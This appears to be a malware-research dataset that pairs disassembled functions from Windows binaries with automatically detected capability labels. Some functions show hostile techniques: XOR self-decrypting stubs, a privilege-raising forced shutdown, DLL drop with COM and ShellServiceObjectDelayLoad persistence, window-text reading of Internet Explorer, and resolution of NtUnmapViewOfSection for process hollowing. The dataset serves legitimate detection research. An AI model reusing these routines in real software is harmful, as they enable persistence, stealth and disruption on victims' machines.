joyce8/EMBER2024-capa huggingface dataset:
Function at 0x8e101c
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x8e1022
pop ebp
sub ebp, 6
sub ebp, 0x4e101c
jmp 0x8e1080
jmp 0x8e1089
mov eax, 0x4e101c
add eax, ebp
add eax, 0x93
mov ecx, 0x621
mov edx, 0x71a03428
xor byte [eax], dl
inc eax
dec ecx
jne 0x8e10a0
jmp 0x8e10b3
inc edx
push 0x28382840
sub byte [eax + 0x28], al
in al, 4
sub byte [ebx], bl
call 0x154be83d
jns 0x8e1133
sub byte [eax - 0x5d], bh
in eax, 0xa3
mov eax, dword [0x28282814]
test eax, 0x2828d0e9
sub byte [ebx], ch
in eax, 0x90
sub byte cs:[eax], ch
sub byte [edx + 0x28282800], dl
invalid
sub byte [eax], ch
jge 0x8e118a
jne 0x8e10b3
lodsd eax, dword [esi]
and byte [eax], ch
sub byte [eax], ch
mov dword [0x282824bd], eax
sub byte [ebx + 0x282838a5], ah
sub cl, ch
shr dword [edx], 0x19
sub ch, byte [ebx + 0x27612cea]
lodsd eax, dword [esi]
invalid
movsd dword es:[edi], dword [esi]
cmp byte [eax], ch
sub byte [eax], ch
jmp 0x2aa73be7
xlatb
xlatb
jne 0x8e111c
and al, 0x28
mov dword [0x282c0ca4], eax
sub byte [ebx + 0x282c0ca4], ah
sub byte [eax], ch
inc eax
mov bl, 0x1d
and dword [eax], ebp
inc eax
test al, 0xf2
insb byte es:[edi], dx
sub byte [ecx], ch
add al, 0xc
jns 0x8e110a
sub eax, 0xc1282828
pop ss
sub ch, byte [eax]
sub byte [ebp + 0x7c], bh
jne 0x8e112e
pop ebp
and al, 0xd7
pop ebp
and al, al
pop edx
sub byte [eax], ch
sub byte [ebx + 0x28282095], ah
sub byte [ebx], bl
loope 0x8e1113
invalid
adc dword [eax - 0x53d83f2d], ebp
xor ch, byte [eax]
sub byte [eax], ch
test al, 0xd3
shl dword [edi], 0xac
cmp dword [eax], ebp
sub byte [eax], ch
dec esi
test eax, 0x270dd7d3
lodsb al, byte [esi]
cmp eax, 0x69282828
shl esp, 0xd7
xlatb
xlatb
add dword [ecx + edx + 0x29], esp
stosd dword es:[edi], eax
jmp 0x2d4ebce5

Function at 0x8e12cc
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x8e12d2
pop ebp
sub ebp, 6
sub ebp, 0x4e12cc
jmp 0x8e1330
jmp 0x8e1339
mov eax, 0x4e12cc
add eax, ebp
add eax, 0x93
mov ecx, 0x637
mov edx, 0x7293bfa2
xor byte [eax], dl
inc eax
dec ecx
jne 0x8e1350
jmp 0x8e1363
enter 0xffffffffffffcae2, 0xffffffffffffffa2
mov dl, 0xa2
mov byte [0x8e6ea2ca], al
mov byte [0x51555223], al
add ah, dh
and edx, dword [edx + 0x55]
push ecx
add ah, dh
xchg ecx, eax
vfnmsub132ps zmm6 {k7}, zmm4, zmm3, {rd-sae}
out 0xa2, al
sub dword [edi + 0x29], ebp
sub ebx, dword [esi + 0x23a2a2a2]
arpl word [edx - 0x5e], bx
mov byte [0x1a6fa1a2], al
movsb byte es:[edi], byte [esi]
mov byte [0x8a18a2a2], al
mov byte [0x4055a2a2], al
mov eax, dword [0xae23296a]
mov byte [0x67a1a2a2], al
bnd retf 0x9aea
Function at 0x10018fa
Capabilities:
Shutdown system

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
lea eax, [ebp - 4]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
xor esi, esi
test eax, eax
je 0x1001964
lea eax, [ebp - 0xc]
push eax
push 0x1001244
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x100195b
mov eax, dword [ebp - 0xc]
push esi
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
push esi
push esi
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x80010002
push 1
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownExW]
pop esi
leave
ret

Function at 0x1001c29
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
xor ecx, ecx
push 2
pop edx
mov eax, 0x1002
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
pop ecx
test esi, esi
je 0x1001ce5
push ebx
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 4], 0x2000
jmp 0x1001ca4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x1001cd6
cmp dword [ebp - 8], 7
jne 0x1001cd6
mov ebx, dword [ebp - 4]
push esi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
mov eax, ebx
shr eax, 1
inc eax
xor ecx, ecx
push 2
inc eax
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x1001ce1
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 8]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call edi
test eax, eax
jne 0x1001c66
mov eax, dword [ebp - 4]
shr eax, 1
lea eax, [esi + eax*2]
xor ecx, ecx
push esi
mov word [eax], cx
mov word [eax + 2], cx
call fcn.01001ab8
test eax, eax
jne 0x1001ce3
test esi, esi
je 0x1001ce1
push esi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
xor eax, eax
pop edi
pop ebx
pop esi
leave
ret 8
Function at 0x10049f9
Capabilities:
Check if file exists

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x10081b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x18]
push edi
push 2
xor edi, edi
pop ecx
mov dword [ebp - 0x210], ecx
mov dword [ebp - 0x214], edi
cmp dword [ebp + 0xc], edi
je 0x1004a30
push 3
pop eax
jmp 0x1004b31
cmp dword [ebp + 0x14], ecx
jl 0x1004a28
mov ecx, dword [eax]
cmp word [ecx], di
je 0x1004a28
push ebx
mov ebx, dword [eax + 4]
cmp word [ebx], di
jne 0x1004a4d
push 3
pop eax
jmp 0x1004b30
push esi
push edi
lea eax, [ebp - 0x20c]
push eax
mov esi, 0x104
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
cmp eax, esi
jae 0x1004b2c
cmp eax, edi
je 0x1004b2c
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1004b2c
push 0x1001610
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x21c], eax
cmp eax, edi
je 0x1004b24
push 0x10015ec
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x218], eax
cmp eax, edi
je 0x1004b18
mov esi, dword [sym.imp.msvcrt.dll___iob_func]
lea eax, [ebp - 0x20c]
push eax
push ebx
push 0xeeae
call esi
add eax, 0x20
push eax
call fcn.010017b5
add esp, 0x10
lea eax, [ebp - 0x214]
push eax
push 1
lea eax, [ebp - 0x20c]
push eax
push ebx
push edi
call dword [ebp - 0x218]
test eax, eax
je 0x1004b18
push 0xeeb2
call esi
add eax, 0x20
push eax
call fcn.010017b5
xor eax, eax
cmp dword [ebp - 0x214], edi
pop ecx
setne al
pop ecx
mov dword [ebp - 0x210], eax
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x210]
jmp 0x1004b2f
push 2
pop eax
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.0100647b
leave
ret 0x14
Function at 0x1006454
Capabilities:
Terminate process

Disassembly:
push 0x10
push 0x1006d10
call fcn.01006934
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x1c], ebx
mov edi, 0x1008828
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x1006269
cmp eax, esi
jne 0x100625c
xor esi, esi
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x100626c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1006243
xor esi, esi
inc esi
mov eax, dword [0x1008824]
cmp eax, esi
jne 0x100627f
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x10062ba
mov eax, dword [0x1008824]
test eax, eax
jne 0x10062b4
mov dword [0x1008824], esi
push 0x1001210
push 0x1001204
call fcn.010061c0
pop ecx
pop ecx
test eax, eax
je 0x10062ba
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x1006384
mov dword [0x10084ec], esi
mov eax, dword [0x1008824]
cmp eax, esi
jne 0x10062de
push 0x1001200
push 0x10011f8
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x1008824], 2
cmp dword [ebp - 0x1c], ebx
jne 0x10062eb
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x1008830], ebx
je 0x100630c
push 0x1008830
call fcn.010068a9
pop ecx
test eax, eax
je 0x100630c
push ebx
push 2
push ebx
call dword [0x1008830]
push dword [0x10084d4]
push dword [0x10084d8]
push dword [0x10084d0]
call fcn.01002322
add esp, 0xc
mov dword [0x10084e8], eax
cmp dword [0x10084dc], ebx
jne 0x100636a
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x20], ecx
push eax
push ecx
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x10084ec], ebx
jne 0x1006378
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x10084e8]
call fcn.01006979
ret
call fcn.01006a81
jmp 0x1006221

Function at 0x414dda
Capabilities:
Encode data using xor

Disassembly:
xor dword [edi], ebx
sub ecx, ecx
add edx, 0xa4cba852
and eax, edx
add edi, 4
sub eax, 0x769f22b3
cmp edi, esi
jne fcn.00414dda
ret
Function at 0x40129c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x14c10
call fcn.004079e4
push ebx
push esi
push edi
mov edi, 0x6e506d82
mov eax, edi
add eax, edi
mov edi, eax
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x408020
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4012db
xor eax, eax
jmp 0x401343
mov eax, edi
sub eax, edi
mov edi, eax
push 0
lea eax, [ebp - 0x14c0c]
push eax
push 0x14c08
lea eax, [ebp - 0x14c08]
push eax
push ebx
call sub.KERNEL32.DLL_ReadFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
xor esi, esi
push 1
push 0x429180
lea eax, [ebp + esi - 0x14c08]
push eax
call fcn.0040143b
add esp, 0xc
cmp eax, 0xffff
je 0x401327
xor eax, eax
inc eax
jmp 0x401343
mov eax, 0x709c
mul edi
mov dword [ebp - 0x14c10], eax
mov edi, eax
add esi, 0x11
cmp esi, dword [ebp - 0x14c0c]
jb 0x401304
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401348
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
mov edi, 0x78fc3a5e
mov eax, edi
xor eax, edi
mov edi, eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.ADVAPI32.DLL_RegCreateKeyExA
mov esi, eax
sub edi, 0x5ca1
or esi, esi
je 0x40138a
xor eax, eax
jmp 0x4013c8
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x1c]
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegSetValueExA
mov esi, eax
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegCloseKey
or esi, esi
je 0x4013b2
xor eax, eax
jmp 0x4013c8
cmp dword [ebp - 8], 1
jne 0x4013bf
mov eax, 2
jmp 0x4013c8
sub edi, 0x1c39
xor eax, eax
inc eax
pop edi
pop esi
leave
ret

Function at 0x4013cc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
mov edi, 0x399e266f
mov eax, edi
add eax, edi
mov edi, eax
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.ADVAPI32.DLL_RegOpenKeyExA
mov esi, eax
or esi, esi
je 0x4013fe
xor eax, eax
jmp 0x401437
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x1c]
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegQueryValueExA
mov esi, eax
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegCloseKey
or esi, esi
je 0x401426
xor eax, eax
jmp 0x401437
xor eax, eax
inc eax
jmp 0x401437
pop edi
pop esi
leave
ret
Function at 0x40185f
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10034
call fcn.004079e4
push ebx
push esi
push edi
mov ebx, 0x528a4f6c
sub ebx, 0x344a
cmp dword [0x42a108], 0xffff
je 0x40188d
and dword [0x42a104], 0
mov eax, dword [0x42a104]
cmp dword [ebp + 0xc], eax
je 0x401a71
mov eax, dword [ebp + 0xc]
mov dword [0x42a104], eax
mov eax, 0x5987
mul ebx
mov dword [ebp - 0x10028], eax
mov ebx, eax
cmp dword [0x429288], 0
je 0x4018d3
mov eax, dword [0x429288]
push eax
mov esi, dword [eax]
call dword [esi + 8]
and dword [0x429288], 0
xor ebx, 0x15dd
push 0xffff
lea eax, [ebp - 0x1001f]
push eax
push dword [ebp + 0xc]
call sub.USER32.DLL_GetWindowTextA
push 1
push str.Microsoft_Internet_Explorer
lea eax, [ebp - 0x1001f]
push eax
call fcn.0040143b
add esp, 0xc
cmp eax, 0xffff
jne 0x401910
and dword [0x429288], 0
jmp 0x401a71
mov eax, ebx
xor eax, ebx
mov ebx, eax
xor eax, ebx
mov ebx, eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
push eax
mov edi, dword [eax]
call dword [edi + 0x1c]
mov dword [ebp - 4], eax
cmp dword [ebp - 0xc], 0
je 0x401a71
cmp dword [ebp - 4], 0
jne 0x401a71
and dword [ebp - 8], 0
cmp dword [0x42a108], 0xffff
je 0x40197d
mov eax, ebx
mul ebx
mov dword [ebp - 0x1002c], eax
mov ebx, eax
inc dword [0x42a108]
mov eax, dword [ebp - 0xc]
cmp dword [0x42a108], eax
jbe 0x401975
and dword [0x42a108], 0
mov eax, dword [0x42a108]
mov dword [ebp - 8], eax
xor ebx, 0x717
push 0
call sub.CRTDLL.DLL__sleep
pop ecx
mov word [ebp - 0x20], 2
mov eax, 0x1008
mul ebx
mov dword [ebp - 0x1002c], eax
mov ebx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x18], eax
mov dword [0x42a108], eax
lea eax, [ebp - 0x10]
push eax
lea esi, [ebp - 0x20]
sub esp, 0x10
mov edi, esp
mov ecx, 4
rep movsd dword es:[edi], dword [esi]
mov edi, dword [ebp + 8]
mov edi, dword [edi + 4]
push edi
mov edi, dword [edi]
call dword [edi + 0x20]
mov dword [ebp - 4], eax
sub ebx, 0x54fb
or eax, eax
jne 0x401a32
push 0x429288
push 0x42cd60
mov eax, dword [ebp - 0x10]
push eax
mov edi, dword [eax]
call dword [edi]
mov dword [ebp - 4], eax
or eax, eax
jne 0x401a32
mov eax, ebx
mul ebx
mov dword [ebp - 0x10030], eax
mov ebx, eax
lea eax, [ebp - 0x10024]
push eax
mov eax, dword [0x429288]
push eax
mov edi, dword [eax]
call dword [edi + 0x94]
mov dword [ebp - 4], eax
or eax, eax
jne 0x401a32
mov dword [0x42a108], 0xffff
mov eax, dword [ebp + 0xc]
cmp dword [ebp - 0x10024], eax
je 0x401a71
mov eax, ebx
xor eax, ebx
mov ebx, eax
cmp dword [0x429288], 0
je 0x401a4c
mov eax, dword [0x429288]
push eax
mov esi, dword [eax]
call dword [esi + 8]
inc dword [ebp - 8]
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 8], eax
jb 0x40197d
and dword [0x429288], 0
mov eax, 0x46fa
mul ebx
mov dword [ebp - 0x10034], eax
mov ebx, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4023a7
Capabilities:
Create thread

Disassembly:
push esi
push edi
mov edi, 0x7cab4ca3
mov eax, edi
xor eax, edi
mov edi, eax
push 0x42a10c
push 0
push 0
push 0x4022ee
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov esi, eax
push esi
call sub.KERNEL32.DLL_CloseHandle
add edi, 0x2b0d
pop edi
pop esi
ret
Function at 0x402822
Capabilities:
Link many functions at runtime

Disassembly:
push esi
push edi
mov esi, 0x35ce1e0d
mov eax, esi
xor eax, esi
mov esi, eax
inc dword [0x42a100]
push 0x42a695
call sub.KERNEL32.DLL_GetModuleHandleA
mov edi, eax
push str.RtlInitUnicodeString
push edi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x428f4c], eax
push str.NtUnmapViewOfSection
push edi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x418e04], eax
sub esi, 0x528d
push str.NtOpenSection
push edi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x418df4], eax
push str.NtMapViewOfSection
push edi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x418e1c], eax
push str.RtlNtStatusToDosError
push edi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x428f48], eax
pop edi
pop esi
ret
Function at 0x403619
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, 0x3c3e1a4e
mov eax, edi
xor eax, edi
mov edi, eax
push 0
push pe_nt_image_headers32
push 3
push 0
push 3
push 0x80000000
push dword [ebp + 8]
call sub.KERNEL32.DLL_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
jne 0x403664
cmp dword [ebp + 0xc], 0
je 0x40365a
mov eax, dword [ebp + 0xc]
and dword [eax], 0
xor eax, eax
jmp 0x4036ae
push 0
push esi
call sub.KERNEL32.DLL_GetFileSize
mov ebx, eax
add eax, 0x10
push eax
push 0x40
call sub.KERNEL32.DLL_LocalAlloc
mov dword [ebp - 4], eax
push 0
cmp dword [ebp + 0xc], 0
je 0x40368c
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
jmp 0x403692
lea eax, [ebp - 8]
mov dword [ebp - 0xc], eax
push dword [ebp - 0xc]
push ebx
push dword [ebp - 4]
push esi
call sub.KERNEL32.DLL_ReadFile
xor edi, 0x2d79
push esi
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403743
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, 0x5f1041f
sub edi, 0x1286
push 0
push pe_nt_image_headers32
push 4
push 0
push 0
push 0xc0000000
push dword [ebp + 8]
call sub.KERNEL32.DLL_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
jne 0x403779
xor eax, eax
jmp 0x4037a6
push 2
push 0
push 0
push esi
call sub.KERNEL32.DLL_SetFilePointer
mov eax, edi
add eax, edi
mov edi, eax
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call sub.KERNEL32.DLL_WriteFile
push esi
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
inc eax
pop edi
pop esi
leave
ret
Function at 0x403f68
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push ebx
push esi
push edi
mov esi, 0x12594565
mov eax, 0x1ddb
mul esi
mov dword [ebp - 0x214], eax
mov esi, eax
add dword [0x42a100], 0xaa
lea ebx, str.79FEACFF_FFCE_815E_A900_316290B5B738
mov eax, 0x6bb9
mul esi
mov dword [ebp - 0x218], eax
mov esi, eax
call sub.CRTDLL.DLL_rand
mov edx, 0x10624dd3
push ecx
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 0x1f
sub edx, ecx
mov eax, edx
pop ecx
mov edi, eax
add edi, 0x41
mov edx, edi
mov byte [ebp - 0x101], dl
mov byte [ebp - 1], 1
jmp 0x404002
call sub.CRTDLL.DLL_rand
movzx edi, byte [ebp - 1]
mov edx, 0x10624dd3
push ecx
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 0x1f
sub edx, ecx
mov eax, edx
pop ecx
mov edx, eax
add edx, 0x61
mov byte [ebp + edi - 0x101], dl
add byte [ebp - 1], 1
mov al, byte [ebp - 1]
cmp al, 8
jbe 0x403fd4
mov byte [ebp - 0xf9], 0
call sub.CRTDLL.DLL_rand
mov edx, eax
test dl, 1
jne 0x40402a
mov byte [ebp - 0xfb], 0x33
mov byte [ebp - 0xfa], 0x32
xor esi, 0x4914
lea eax, [ebp - 0x101]
push eax
push 0x429080
push str._s_s.dll
lea eax, [ebp - 0x205]
push eax
call sub.CRTDLL.DLL_sprintf
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x205]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 0x20c], eax
mov eax, 0x6a14
mul esi
mov dword [ebp - 0x21c], eax
mov esi, eax
push dword [ebp + 8]
mov eax, str.abcdefghijklmno
push eax
call sub.CRTDLL.DLL_sprintf
push 0
lea eax, [ebp - 0x210]
push eax
push 0x1a01
push 0x42aa84
push dword [ebp - 0x20c]
call sub.KERNEL32.DLL_WriteFile
mov eax, esi
mul esi
mov dword [ebp - 0x220], eax
mov esi, eax
push dword [ebp - 0x20c]
call sub.KERNEL32.DLL_CloseHandle
inc dword [0x42a100]
push ebx
push str.CLSID_sInProcServer32
lea eax, [ebp - 0x101]
push eax
call sub.CRTDLL.DLL_sprintf
lea eax, [ebp - 0x205]
push eax
push 0x42cbf0
lea eax, [ebp - 0x101]
push eax
push 0x80000000
call fcn.00404148
mov eax, 0x5408
mul esi
mov dword [ebp - 0x224], eax
mov esi, eax
inc dword [0x42a100]
push str.Apartment
push str.ThreadingModel
lea eax, [ebp - 0x101]
push eax
push 0x80000000
call fcn.00404148
push ebx
push str.Web_Event_Logger
push str.SoftwareMicrosoftWindowsCurrentVersionShellServiceObjectDelayLoad
push 0x80000002
call fcn.00404148
add esp, 0x54
mov eax, esi
xor eax, esi
mov esi, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x404148
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
mov esi, dword [ebp + 0x14]
mov edi, 0x7c9a4037
add edi, 0x405e
inc dword [0x42a100]
mov eax, edi
add eax, edi
mov edi, eax
and dword [ebp - 4], 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.ADVAPI32.DLL_RegCreateKeyExA
mov ecx, esi
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x404193
mov dword [ebp - 8], eax
push dword [ebp - 8]
push esi
push 1
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegSetValueExA
mov eax, edi
add eax, edi
mov edi, eax
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegCloseKey
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40421f
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
mov edi, 0x509b6fee
xor edi, 0x461e
mov eax, edi
mul edi
mov dword [ebp - 0xc], eax
mov edi, eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0x20006
push 0
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.ADVAPI32.DLL_RegCreateKeyExA
or eax, eax
je 0x404262
xor eax, eax
jmp 0x404299
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x1c]
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegSetValueExA
or eax, eax
je 0x404288
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegCloseKey
xor eax, eax
jmp 0x404299
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegCloseKey
mov eax, edi
xor eax, edi
mov edi, eax
xor eax, eax
inc eax
pop edi
leave
ret

Function at 0x40429c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
mov esi, dword [ebp + 0x14]
mov eax, dword [ebp + 0x18]
mov word [ebp + 0x18], ax
mov edi, 0x283a360c
mov eax, edi
xor eax, edi
mov edi, eax
mov byte [esi], 0
sub edi, 0x3d4b
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.ADVAPI32.DLL_RegOpenKeyExA
or eax, eax
je 0x4042e0
xor eax, eax
jmp 0x40431b
lea eax, [ebp + 0x18]
push eax
push esi
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegQueryValueExA
or eax, eax
je 0x404304
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegCloseKey
xor eax, eax
jmp 0x40431b
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegCloseKey
movzx eax, word [ebp + 0x18]
jmp 0x40431b
pop edi
pop esi
leave
ret
Function at 0x4054d7
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov ebx, dword [ebp + 0x14]
mov edi, 0x1b78694d
sub edi, 0x323b
push dword [ebp + 8]
call sub.KERNEL32.DLL_lstrlenA
mov edx, eax
mov word [ebp - 2], dx
mov eax, edi
sub eax, edi
mov edi, eax
push dword [ebp + 0xc]
call sub.KERNEL32.DLL_lstrlenA
mov edx, eax
mov word [ebp - 4], dx
push dword [ebp + 0x10]
call sub.KERNEL32.DLL_lstrlenA
mov edx, eax
mov word [ebp - 0xa], dx
push ebx
call sub.KERNEL32.DLL_lstrlenA
mov edx, eax
mov word [ebp - 0xc], dx
xor edi, 0x9e
movzx eax, word [ebp - 2]
movzx edx, word [ebp - 4]
add eax, edx
movzx edx, word [ebp - 0xa]
add eax, edx
movzx edx, word [ebp - 0xc]
lea eax, [eax + edx + 0x28]
push eax
push 0
call sub.KERNEL32.DLL_LocalAlloc
mov esi, eax
xor eax, eax
cmp dword [ebp + 0x1c], 1
sete al
mov dword [ebp - 0x10], eax
mov byte [esi], al
push 4
lea eax, [ebp + 0x18]
push eax
mov eax, esi
inc eax
push eax
call sub.CRTDLL.DLL_memcpy
add esp, 0xc
mov eax, edi
sub eax, edi
mov edi, eax
push dword [ebp + 8]
mov eax, esi
add eax, 5
push eax
call fcn.00407a04
push dword [ebp + 0xc]
movzx eax, word [ebp - 2]
lea eax, [esi + eax + 5]
inc eax
push eax
call fcn.00407a04
push dword [ebp + 0x10]
movzx eax, word [ebp - 2]
lea eax, [esi + eax + 5]
movzx edx, word [ebp - 4]
lea eax, [eax + edx + 2]
push eax
call fcn.00407a04
push ebx
movzx eax, word [ebp - 2]
lea eax, [esi + eax + 5]
movzx edx, word [ebp - 4]
add eax, edx
movzx edx, word [ebp - 0xa]
lea eax, [eax + edx + 3]
push eax
call fcn.00407a04
lea eax, [ebp - 8]
push eax
push 0
push esi
push 0x405133
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov esi, eax
add edi, 0x2ed9
push 0xffffffffffffffff
push esi
call sub.KERNEL32.DLL_WaitForSingleObject
lea eax, [ebp - 8]
push eax
push esi
call sub.KERNEL32.DLL_GetExitCodeThread
push esi
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebp - 8]
jmp 0x40560e
pop edi
pop esi
pop ebx
leave
ret